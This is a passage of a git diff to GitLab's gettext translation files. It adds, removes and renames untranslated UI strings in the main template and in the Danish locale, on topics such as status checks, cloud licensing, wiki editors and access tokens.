+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31876,7 +31675,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31906,6 +31705,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31993,6 +31795,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -32002,9 +31807,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -32359,6 +32161,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32377,7 +32182,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32449,9 +32260,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32464,7 +32272,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32512,7 +32320,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32527,7 +32335,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32536,10 +32344,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32731,6 +32539,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -33106,7 +32917,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -33115,6 +32926,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -33124,6 +32938,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -33157,9 +32974,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -33193,7 +33007,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -33223,6 +33037,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -33301,6 +33118,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -33322,15 +33142,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33415,18 +33235,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33490,9 +33304,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33511,10 +33322,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33529,9 +33340,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33541,9 +33349,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33562,9 +33367,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33706,9 +33508,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33829,6 +33628,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33904,6 +33706,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33937,7 +33742,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -34033,6 +33838,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -34072,9 +33880,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -34159,7 +33964,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34906,9 +34711,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34993,9 +34804,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -35095,9 +34903,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -35110,6 +34927,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -35158,6 +34978,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35641,12 +35470,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35737,21 +35560,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35887,9 +35695,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -36226,9 +36031,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -36358,6 +36169,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36655,9 +36469,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36667,9 +36478,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36751,9 +36568,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36847,6 +36661,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36865,9 +36682,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36901,6 +36715,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36970,7 +36787,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -37111,7 +36931,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -37243,6 +37063,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37543,6 +37366,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37552,6 +37384,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37756,7 +37591,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37777,6 +37612,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37792,16 +37630,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37816,10 +37654,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -38089,6 +37933,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -38128,9 +37975,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -38308,21 +38152,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38386,9 +38227,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38548,12 +38386,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38581,18 +38413,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38605,12 +38431,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38680,12 +38500,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38770,6 +38596,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38779,6 +38608,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38875,6 +38707,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38932,12 +38767,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38962,6 +38806,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38980,9 +38827,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -39289,6 +39133,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -39385,6 +39232,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39472,9 +39322,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39868,6 +39715,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39904,9 +39754,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39967,7 +39814,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -40048,7 +39895,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -40111,6 +39961,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40414,6 +40267,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40516,6 +40372,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index 4faab3e520e..545d963db96 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:37\n"
+"PO-Revision-Date: 2021-07-01 21:21\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
